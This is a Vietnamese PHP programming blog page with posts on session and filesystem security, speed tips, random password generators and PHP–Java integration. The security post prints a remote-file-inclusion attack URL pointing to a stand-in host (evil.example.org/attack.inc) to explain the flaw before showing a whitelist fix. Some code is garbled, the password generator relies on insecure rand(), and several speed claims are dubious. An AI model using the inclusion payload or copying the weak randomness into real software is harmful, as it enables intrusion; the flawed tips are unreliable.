Hiển thị các bài đăng có nhãn Ngôn ngữ lập trình PHP. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn Ngôn ngữ lập trình PHP. Hiển thị tất cả bài đăng

Thứ Sáu, 28 tháng 1, 2011

Bảo mật Session trong lập trình PHP

Có hai kiểu tấn công session phổ biến nhất đó là session cố định(session fixation) và cướp session ( session hijacking)
Khi một người triệu gọi trang web lần đầu tiên ứng dụng sẽ gọi session_start() để tạo ra sesion cho user. PHP sẽ tự động sinh ngẫu nhiên một định danh khác nhau cho mỗi user. Và sau đó nó send tạo một trên cookies với tên mặc định là PHPSESSID bạn có thể thay đổi tên mặc định của nó bằng cách thay đổi nó trong php.ini hoặc dùng hàm session_name() . Từ lần viếng thăm sau nó sẽ định danh user bằng cookies. Tuy nhiên có thể gán session qua chuỗi truy vấn. Đây là cách dễ ràng để tấn công session fixation bởi vì kẻ tấn công có thể thay đổi giá trị PHPSESSID. Cách phổ biến là lưu trữ link trong ứng dụng của bạn nối thêm session id và sau dụ ngưòi dùng kích vào
Click here
Trong khi truy cấp thường hay lưu thông tin đăng nhập trong session. Nếu user đăng nhập vào với cùng session id thì kẻ tấn công cũng có thể truy cập với session id đó vì vậy có thể truy cập vào thay đổi các thông tin account . Quan trọng hơn là nó sẽ tiến tới chiếm quyền điều khiển của những acount quản trị. Chúng ta có thể xuất tất cả các session id của tất cả các user bằng hàm session_regenerate_id()

Mã:

session_start();
// If the user login is successful, regenerate the session ID if (authenticate())
{
session_regenerate_id();
}

Cách làm trên chỉ bảo vệ user bởi cách tấn công session fixed và dễ dàng đề nghị truy cập của các kẻ tấn công . Nó không giúp chống lại được các kiểu tấn công phổ biến khác như kiểu session hijacking. Đúng hơn là cái này là một cái chung mà thời hạn mô tả bởi bất kì cái gì đó có nghĩa bởi các kẻ tấn công kiếm được những session id của user hữu ích.
Ví dụ, một user tin rằng khi đăng nhập thì session id được định nghĩa lại và có một session mới. cái gì sẽ sẩy ra nếu các kẻ tấn công mà phát hiện ID mới và cố gắng truy cập vào session của user ?
Session ID để định danh các yêu cầu khác nhau của các user khác nhau. một yêu cầu đầư được trợ giúp đặc biệt và không thay đổi giữa các yêu cầu đầu khác nhau. nếu không chắc chắn(chiếm truờng hợp ít) user từ một trình duyệt có thể chuyển nó thành cái khác trong khi đang sử dụng cùng phiên làm việc. các yêu cầu đầu để xác định rõ kiểu tấn công session hijacking.
Sau khi user đăng nhập lưu tác nhân user (User-Agent ) vào session:
$_SESSION[’user_agent’] = $_SERVER[’HTTP_USER_AGENT’];
Và sau đó khi trang được load lần hai kiểm tra chắc chắn rằng User-Agent không được thay đổi. Nếu nó bị thay đổi lên cho đăng nhập lại
Mã:
if ($_SESSION[’user_agent’] != $_SERVER[’HTTP_USER_AGENT’])
{
// Force user to log in again exit;
}
Theo lập trình việt

Bảo mật Filesystem trong lập trình PHP

PHP có khả năng truy cập trực tiếp hệ thống files và có thể thực hiện các lệnh shell, nó cung cấp cho các nhà phát triển sức mạnh lớn, nó thực sự nguy hiểm khi làm hỏng dữ liệu đầu cuối bằng các comand line. Một lần nữa dữ liệu lại phải lọc.

1. Thực thi mã lệnh từ xa(remote Code Injection )

Khi khai báo chèn vào file bằng include hoặc requre chú ý cẩn thận khi sử dụng dữ liệu “hỏng” để tạo một sự khai báo bao hàm(include) động trên dữ liệu nhập từ client, bởi vì một lỗi có thể dễ dàng cho phép hacker có thể thực hiện các cuộc tấn công từ xa. Một cuộc tấn công từ xa xẩy ra khi một kẻ tấn công có thể thực hiện đoạn mã mà họ đã chọn trên ứng dụng của chúng ta. Điều đó giúp cho kẻ tấn công có thể tàn phá cả ứng dụng lẫn hệ thống.
Ví dụ, rất nhiều ứng dụng cho phép tạo và sử dụng chuỗi truy vấn vào cấu trúc những mục của ứng dụng ví dụ : http://example.org/?section=news . Một ứng dụng có thể cấu trúc inclue đề chèn mã news vào ứng dụng:
clude “{$_GET[’section’]}/data.inc.php”;
khi sử dụng URL truy cập vào những mục news/data.inc.php . Tuy nhiên phải cân nhắc kỹ chuyện gì xẩy ra nếu các kẻ tấn công thay đổi chuỗi truy vấn có hại cho site:

http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F

dữ liệu nguy hiểm sẽ đuợc include vào hệ thống kết quả của cách làm trên là
include “http://evil.example.org/attack.inc?/data.inc.php”;
attack.inc được inclue vào hệ thống và thực thi mã trong đó, các kẻ tấn công có thể làm bất kỳ điều gì mà họ muốn chỉ cẩn để nó trong attack.inc . when đó kẻ tấn công có thể chiếm tất cả quyền mà họ muốn.
Ví dụ:

Mã:

$clean = array();
$sections = array(’home’, ’news’, ’photos’, ’blog’);
if (in_array($_GET[’section’], $sections))
{
$clean[’section’] = $_GET[’section’]
}else {
$clean[’section’] = ’home’
}
include "{clean[’section’]}/data.inc.php";

2. Các lệnh injecttion

Một site cho phép include dữ liệu động vào file rất nguy hiểm, nó cho phép user thực thi các lệnh trên hệ thống. PHP cung cấp các các hàm như exec(), system() và passthru() giúp chúng ta có thể thực thi những lệnh trên hệ thống. Việc lọc whilelist giảm thiệu các câu lệnh có hại cho hệ thống.
Php cung cấp hàm escapeshellcmd() and escapeshellarg() Đê lịa bỏ những cấu lệnh escape shell cho hệ thống

Theo lập trình việt

Nguồn : Bảo mật Filesystem trong lập trình PHP


Thứ Sáu, 21 tháng 1, 2011

Mẹo cải thiện tốc độ cho PHP

Sau đây là một số mẹo nhỏ cải tiện tốc độ cho PHP mời bạn đọc tham khảo
- Nếu có thể khai báo hàm tĩnh thì có thể tăng tốc độ lên 4 lần.
- Echo thì nhanh hơn Print.

- Sử dụng nhiều câu lệnh Echo thay vì Echo 1 chuỗi nối vào nhau.

- Đặt giá trị lớn nhất cho vòng lặp for trước, và ko đặt trong vòng lặp for.

- Hủy các biến bằng hàm unset() để giải phóng bộ nhớ sau khi sử dụng, đặc biệt là những mảng lớn.

- Tránh dùng các định nghĩa kiểu: __get, __set, __autoload.

- Tránh dùng hàm require_once().

- Sử dụng đường dẫn đầy đủ trong includes và requires.

- Nếu cần tính thời gian lúc code được thực thi, thì nên dùng $_SERVER['REQUEST_TIME'] thay vì time().

- Chú ý sử dụng các hàm strncasecmp, strpbrk and stripos thay vì regex.

- Str_replace thì nhanh hơn preg_replace nhưng mà strtr thì nhanh hơn str_replace 4 lần.

- Tốt hơn nên dùng câu lệnh Select hoặc Switch thay vì nhiều câu lệnh if, else.

- Các biến lỗi sử dụng @ thì rất chậm.

- Bật Apache mod_deflate.

- Đóng kết nối DB sau khi dùng xong.

- $row[‘id'] thì nhanh gấp 7 lần $row[id].

- Hạn chế gửi Error messeage.

- Không dùng các hàm khi khai báo vòng lặp. Ví dụ: for($x=0; $x

- Sử dụng biến cục bộ trong hàm thì nhanh hơn.

- Sử dụng biến toàn cục thì chậm hơn 2 lần so với dùng biết cục bộ.

- Sử dụng biến cục bộ ko được định nghĩa thì chậm hơn 9-10 lần biến được định nghĩa trước.

- Định nghĩa biến toàn cục mà không sử dụng trong hàm thì cũng chậm hơn.

- Hàm được triệu gọi thì độc lập với các hàm ở trong lớp định nghĩa nó. Ví dụ sau khi sử dụng gọi hàm đó, ta định nghĩa thêm vào vào lớp chứa hàm đó, thì tốc độ performance không thay đổi.

- Hàm được định nghĩa từ lớp thì chạy nhanh hơn hàm định nghĩa từ lớp cơ sở.

- Hàm có 1 tham số hoặc hàm có body rỗng thì tương đương với thực thi 7-8 lần phép toán $localvar++. Một hàm bình thường thì tương đương 15 lần phép toán $localvar++.

- Nếu khai báo chuỗi mà không có biến ở trong thì sử dụng ‘’ sẽ nhanh hơn dùng “”.

- Khi dùng Echo thì dùng phân cách bằng dấu , sẽ nhanh hơn bằng dấu .

- Đoạn mã PHP thực thi thì sẽ chậm hơn 2-10 lần so với trang HTML tĩnh khi chạy Apache.

- Mã PHP được biên dịch lại mỗi lần, trừ khi các đoạn mã được cache. Cài đặt các sản phẩm cache PHP cơ bản để tăng hiệu suất từ 25-100% qua việc giảm số lần biên dịch lại.

- Cách với tất cả khả năng có thể. Memcache là hệ thống cache đối tượng với hiệu suất cao để tăng tốc các ứng dụng web động bằng việc giảm số lần truy suất DB. Opcode cache thì rất hữu ích, giúp các đoạn mã không phải biên dịch lại sau mỗi lần request.

- Dùng trick để tính độ dài của chuỗi bằng hàm isset thay vì sử dụng hàm strlen().

Ví dụ:
1 if (strlen($foo) < 5) { echo ”Foo is too short”; }
2 if (!isset($foo{5})) { echo ”Foo is too short”; }

Dùng hàm isset() sẽ nhanh hơn dùng strlen() vì isset() sẽ không tính toán trường hợp lowercase.

- Viết ++$i thay cho $i++ sẽ nhanh hơn (3 opcodes so với 4).

- Không phải mọi thứ đều dùng hướng đối tượng, sẽ tốn bộ nhớ.

- Không phải cài đặt mọi dữ liệu bằng lớp, có thể dùng mảng cũng hữu ích.

- Không nên chia ra quá nhiều hàm, tận dụng sử dụng lại code.

- Sử dụng các hàm được định nghĩa trước.

- Profile code sẽ giúp ta có cái nhìn tổng quan nếu có hiện tượng thắt cổ chai.

- mod_gzip có sẵn trong module Apache sẽ nén dữ liệu, và giảm dữ liệu truyền đi tới 80%.

- Sử dụng foreach để duyệt các mảng, các tập. Các phần tử PHP4 là theo giá trị, hay hơn nhiều so với theo tham chiếu ở PHP5.

- Sử dụng mẫu thiết kế Singleton với các lớp PHP phức tạp.

- Sử dụng POST thay cho GET với tất cả các giá trị vì lý do performance của TCP/IP.

- Sử dụng các hàm kiểm tra kiểu dữ liệu thay vì dùng Biểu thức chính quy (Regular Expression).

- Dùng include/require thay cho include once/require once để đảm bảo opcode cache.

- Dùng proxy để truy cập các Web Services (XML hay JSON) từ các tên miền nước ngoài dùng XMLHTTP để tránh lỗi cross-domain.

- Dùng thông báo lỗi (E_ALL) trong quá trình debug.

- Đặt allowoverride của Apache là “none ” để cải thiện performance khi truy cập file/ thư mục.

- Dùng một fileserver nhanh để chạy nội dung tĩnh (thttpd). Ví dụ: static.domain.com.

- Hạn chế dùng các câu SQL: SELECT *.

- Dùng các phép logic database: queries, joins, views, procedures.

- Khởi tạo các biến trước khi sử dụng.

- Dùng đường dẫn đầy đủ thay vì đường dẫn tương đối.

- Tăng 1 thuộc tính của đối tượng thì chậm hơn việc dùng biến cục bộ 3 lần. ($this->prop++).

- Khi xử lý dữ liệu XML, sử dụng Regular Expression thì nhanh hơn dùng DOM hoặc SAX.

- Dùng tham chiếu làm tham số cho hàm thì nhanh hơn dùng tham số bình thường.

- Dùng INSERT DELAYED nếu như ko cần biết thời gian đưa dữ liệu vào.

- Dùng multiple-row INSERT để INSERT nhiều dữ liệu bằng 1 câu Query.

Theo thegioimanguon.com

Nguồn : Mẹo cải thiện tốc độ cho PHP

Thứ Năm, 23 tháng 12, 2010

Dãy số và dãy chuỗi ngẫu nhiên trong PHP

Đây là các chức năng hay gặp khi bạn thực hiện các website, cần các dãy số hay chuỗi bất kỳ để cung cấp cho người sử dụng để active acount hoặc generate các password…

Số ngẫu nhiên

function randomdigit($digits) {
static $startseed = 0;
if (!$startseed) {
$startseed = (double)microtime()*getrandmax();
srand($startseed);
}
$range = 8;
$start = 1;
$i = 1;
while ($i<$digits) { $range = $range . 9; $start = $start . 0; $i++; } return (rand()%$range+$start); } ?>

Dãy chuỗi ngẫu nhiên

function randomPass($length = 6) {

// all the chars we want to use
$all = explode( '' '',
''a b c d e f g h i j k l m n o p q r s t u v w x y z ''
. ''A B C D E F G H I J K L M N O P Q R S T U V W X Y Z ''
. ''0 1 2 3 4 5 6 7 8 9'');

for($i=0;$i<$length;$i++) { srand((double)microtime()*1000000); $randy = rand(0, 61); $pass .= $all[$randy]; } return $pass; } ?>
Nguồn : Thanglong-Aptech

Tích hợp ứng dụng của PHP và Java

Một điều khá thú vị các các chức năng của PHP là khả năng sử dụng các phương thức của các đối tượng Java, mở ra khả năng tích hợp các ứng dụng PHP của bạn với các ứng dụng Java. Mời các bạn tham khảo các thực hiện.

Để sử dụng bạn cần cài đặt Java Virtual Machine (JVM). Nếu bạn sử dụng JDKs từ Sun, Kaffe, IBM, hay Blackdown, bạn sẽ lợi về mặt tốc độ.
Khi bạn cài đặt PHP, bạn cần thêm –with-java để thêm các thư viện dành cho java, hoặc sửa tập tin php.ini
[Java]

java.library.path=/path/to/library
java.class.path=/classpath/
extension_dir=/path/to/extensions
extension=libphp_java.so
bạn cần đưa đường dẫn Java chính xác.
Đoạn script sau sẽ nối và in ra màn hình bằng các thuộc tính của Java
Java version = '' . $system->getProperty(''java.version'') . ''
'';
echo ''Java vendor = '' . $system->getProperty(''java.vendor'') . ''
'';
?>
Nếu bạn có hiểu biết về Java, bạn sẽ có thể xây dựng các ứng dụng tích hợp với khả năng không giới hạn.

Nguồn : Thanglong-Aptech.com